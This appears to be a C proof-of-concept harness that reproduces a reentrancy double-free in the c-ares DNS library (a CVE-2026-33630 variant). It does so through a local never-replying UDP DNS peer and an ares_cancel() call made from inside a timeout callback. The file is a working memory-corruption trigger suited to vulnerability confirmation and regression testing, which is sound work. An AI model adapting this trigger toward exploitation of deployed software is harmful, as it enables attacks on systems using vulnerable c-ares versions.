/*
 * CVE-2026-33630 variant probe: timeout self-cancel path.
 *
 * This harness uses only public c-ares APIs. It sends a real DNS query to a
 * local UDP DNS peer that receives the packet but intentionally never replies.
 * The resulting process_timeouts() completion callback reenters c-ares through
 * ares_cancel(). In vulnerable c-ares v1.34.6 this leaves the query linked
 * while the callback runs, so the reentrant cancel frees it and the outer
 * timeout completion frees it again. In fixed v1.34.7 process_timeouts()
 * funnels through ares_flush_requeue(), detaches before callback, and the same
 * reentrant cancel does not find/free the completing query.
 */
#include <ares.h>
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <unistd.h>

#define DIE(...) do { fprintf(stderr, "FATAL: " __VA_ARGS__); fputc('\n', stderr); exit(2); } while (0)

struct blackhole_state {
  int fd;
  int port;
  pthread_t tid;
  volatile int received_query;
  volatile int stop;
};

struct client_ctx {
  ares_channel_t *channel;
  int done;
  int callback_count;
  int cancel_called;
  int first_status;
};

static void *blackhole_thread(void *arg) {
  struct blackhole_state *st = (struct blackhole_state *)arg;
  unsigned char buf[2048];
  while (!st->stop) {
    fd_set rfds;
    FD_ZERO(&rfds);
    FD_SET(st->fd, &rfds);
    struct timeval tv;
    tv.tv_sec = 0;
    tv.tv_usec = 100000;
    int rc = select(st->fd + 1, &rfds, NULL, NULL, &tv);
    if (rc > 0 && FD_ISSET(st->fd, &rfds)) {
      struct sockaddr_in peer;
      socklen_t plen = sizeof(peer);
      ssize_t n = recvfrom(st->fd, buf, sizeof(buf), 0, (struct sockaddr *)&peer, &plen);
      if (n > 0) {
        st->received_query = 1;
        unsigned qid = (n >= 2) ? (((unsigned)buf[0] << 8) | buf[1]) : 0;
        fprintf(stderr, "[server] received UDP DNS query bytes=%zd qid=%u; intentionally withholding response to drive process_timeouts()\n", n, qid);
      }
    }
  }
  return NULL;
}

static void timeout_cb(void *arg, ares_status_t status, size_t timeouts,
                       const ares_dns_record_t *dnsrec) {
  struct client_ctx *ctx = (struct client_ctx *)arg;
  (void)dnsrec;
  ctx->callback_count++;
  if (ctx->callback_count == 1) {
    ctx->first_status = (int)status;
  }
  fprintf(stderr, "[callback] entry #%d status=%d (%s) timeouts=%zu cancel_called=%d\n",
          ctx->callback_count, (int)status, ares_strerror((int)status), timeouts,
          ctx->cancel_called);
  if (!ctx->cancel_called) {
    ctx->cancel_called = 1;
    fprintf(stderr, "[callback] reentering public ares_cancel(channel) from timeout callback\n");
    ares_cancel(ctx->channel);
    fprintf(stderr, "[callback] returned from reentrant ares_cancel(channel)\n");
  }
  ctx->done = 1;
}

static void process_loop(ares_channel_t *channel, struct client_ctx *ctx, int max_ms) {
  struct timeval t_start;
  gettimeofday(&t_start, NULL);
  for (;;) {
    ares_socket_t socks[ARES_GETSOCK_MAXNUM];
    int bitmask = ares_getsock(channel, socks, ARES_GETSOCK_MAXNUM);
    fd_set readers, writers;
    FD_ZERO(&readers);
    FD_ZERO(&writers);
    int maxfd = -1;
    for (int i = 0; i < ARES_GETSOCK_MAXNUM; i++) {
      if (ARES_GETSOCK_READABLE(bitmask, i)) {
        FD_SET(socks[i], &readers);
        if ((int)socks[i] > maxfd) maxfd = (int)socks[i];
      }
      if (ARES_GETSOCK_WRITABLE(bitmask, i)) {
        FD_SET(socks[i], &writers);
        if ((int)socks[i] > maxfd) maxfd = (int)socks[i];
      }
    }

    struct timeval t_now;
    gettimeofday(&t_now, NULL);
    long elapsed_ms = (t_now.tv_sec - t_start.tv_sec) * 1000 +
                      (t_now.tv_usec - t_start.tv_usec) / 1000;
    if (elapsed_ms > max_ms) {
      fprintf(stderr, "[client] process_loop timeout after %d ms\n", max_ms);
      break;
    }
    if (ctx->done && maxfd < 0) {
      break;
    }

    struct timeval tv;
    struct timeval *tvp = ares_timeout(channel, NULL, &tv);
    if (!tvp) {
      tv.tv_sec = 0;
      tv.tv_usec = 10000;
      tvp = &tv;
    }
    long remain_ms = max_ms - elapsed_ms;
    long tv_ms = tvp->tv_sec * 1000 + tvp->tv_usec / 1000;
    if (remain_ms < 0) remain_ms = 0;
    if (tv_ms > remain_ms) {
      tv.tv_sec = remain_ms / 1000;
      tv.tv_usec = (remain_ms % 1000) * 1000;
      tvp = &tv;
    }

    int sel = select(maxfd + 1, &readers, &writers, NULL, tvp);
    if (sel < 0) {
      if (errno == EINTR) continue;
      perror("select");
      break;
    }
    if (sel == 0) {
      ares_fd_events_t dummy;
      dummy.fd = ARES_SOCKET_BAD;
      dummy.events = ARES_FD_EVENT_NONE;
      ares_process_fds(channel, &dummy, 0, ARES_PROCESS_FLAG_NONE);
    } else {
      ares_fd_events_t evs[ARES_GETSOCK_MAXNUM];
      size_t nevs = 0;
      for (int i = 0; i < ARES_GETSOCK_MAXNUM; i++) {
        unsigned int ev = 0;
        if (ARES_GETSOCK_READABLE(bitmask, i) && FD_ISSET(socks[i], &readers)) ev |= ARES_FD_EVENT_READ;
        if (ARES_GETSOCK_WRITABLE(bitmask, i) && FD_ISSET(socks[i], &writers)) ev |= ARES_FD_EVENT_WRITE;
        if (ev) {
          evs[nevs].fd = socks[i];
          evs[nevs].events = ev;
          nevs++;
        }
      }
      if (nevs) {
        ares_process_fds(channel, evs, nevs, ARES_PROCESS_FLAG_NONE);
      }
    }
  }
}

int main(void) {
  signal(SIGPIPE, SIG_IGN);

  struct blackhole_state st;
  memset(&st, 0, sizeof(st));
  st.fd = socket(AF_INET, SOCK_DGRAM, 0);
  if (st.fd < 0) DIE("socket: %s", strerror(errno));
  int yes = 1;
  setsockopt(st.fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
  struct sockaddr_in sa;
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = htonl(0x7f000001);
  sa.sin_port = 0;
  if (bind(st.fd, (struct sockaddr *)&sa, sizeof(sa)) != 0) DIE("bind: %s", strerror(errno));
  socklen_t slen = sizeof(sa);
  if (getsockname(st.fd, (struct sockaddr *)&sa, &slen) != 0) DIE("getsockname: %s", strerror(errno));
  st.port = ntohs(sa.sin_port);
  if (pthread_create(&st.tid, NULL, blackhole_thread, &st) != 0) DIE("pthread_create");

  int ir = ares_library_init(ARES_LIB_INIT_ALL);
  if (ir != ARES_SUCCESS) DIE("ares_library_init: %s", ares_strerror(ir));

  struct ares_options opts;
  memset(&opts, 0, sizeof(opts));
  opts.timeout = 50;
  opts.tries = 1;
  int optmask = ARES_OPT_TIMEOUTMS | ARES_OPT_TRIES;
  ares_channel_t *channel = NULL;
  int rc = ares_init_options(&channel, &opts, optmask);
  if (rc != ARES_SUCCESS) DIE("ares_init_options: %s", ares_strerror(rc));

  char server_csv[64];
  snprintf(server_csv, sizeof(server_csv), "127.0.0.1:%d", st.port);
  rc = ares_set_servers_ports_csv(channel, server_csv);
  if (rc != ARES_SUCCESS) DIE("ares_set_servers_ports_csv: %s", ares_strerror(rc));

  struct client_ctx ctx;
  memset(&ctx, 0, sizeof(ctx));
  ctx.channel = channel;
  ctx.first_status = -1;

  unsigned short qid = 0;
  fprintf(stderr, "[client] issuing public ares_query_dnsrec() to blackhole DNS peer 127.0.0.1:%d\n", st.port);
  rc = ares_query_dnsrec(channel, "timeout-variant.example", ARES_CLASS_IN,
                         ARES_REC_TYPE_A, timeout_cb, &ctx, &qid);
  fprintf(stderr, "[client] ares_query_dnsrec rc=%d (%s) qid=%u\n", rc, ares_strerror(rc), qid);
  process_loop(channel, &ctx, 3000);

  fprintf(stderr, "[result] received_query=%d done=%d callback_count=%d cancel_called=%d first_status=%d\n",
          st.received_query, ctx.done, ctx.callback_count, ctx.cancel_called,
          ctx.first_status);

  ares_destroy(channel);
  ares_library_cleanup();
  st.stop = 1;
  shutdown(st.fd, SHUT_RDWR);
  close(st.fd);
  pthread_join(st.tid, NULL);

  if (!st.received_query || !ctx.done || ctx.callback_count < 1 || !ctx.cancel_called) {
    return 3;
  }
  return 0;
}
